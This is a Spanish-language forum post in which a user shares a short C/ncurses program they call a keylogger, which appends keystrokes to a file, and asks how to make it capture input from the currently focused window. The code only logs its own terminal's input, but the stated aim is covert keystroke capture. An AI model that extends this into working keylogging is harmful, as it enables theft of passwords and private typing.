Gracias por la info, lo intentare compilar asi, y se que no funciona porque en otros keyloggers lo que se hace es que se coge siempre el foco de la ventana actual, y eso el mio no lo hace, pero estaba probando el manejo de ficheros. Y si lo termino lo publicare, dalo por hecho.
Saludos
EDITO:
Ya ha compilado, y he cambiado el codigo un poco, pero no se como hacer que coja el foco de la ventana actual(no me mencionen la API de windows, porfavor).
Dejo el codigo, lo he estado probando y funciona bastante bien, agradeceria que alguien me ayudara con lo del foco.
#include <stdio.h>
#include <ncurses.h>
FILE* fichero;
int kbhit(void)
{
int ch = getch();
if (ch != ERR) {
ungetch(ch);
return 1;
} else {
return 0;
}
}
int main() {
initscr();
noecho();
nodelay(stdscr, true);
fichero = fopen("string.txt","a");
while (1){
if (kbhit()){fputc(getch(),fichero); fflush(fichero); }
refresh();
}
return 0; }
PD: Para compilar: g++ 'ruta/de/la/fuente' -o klg -lncurses.
Saludos de nuevo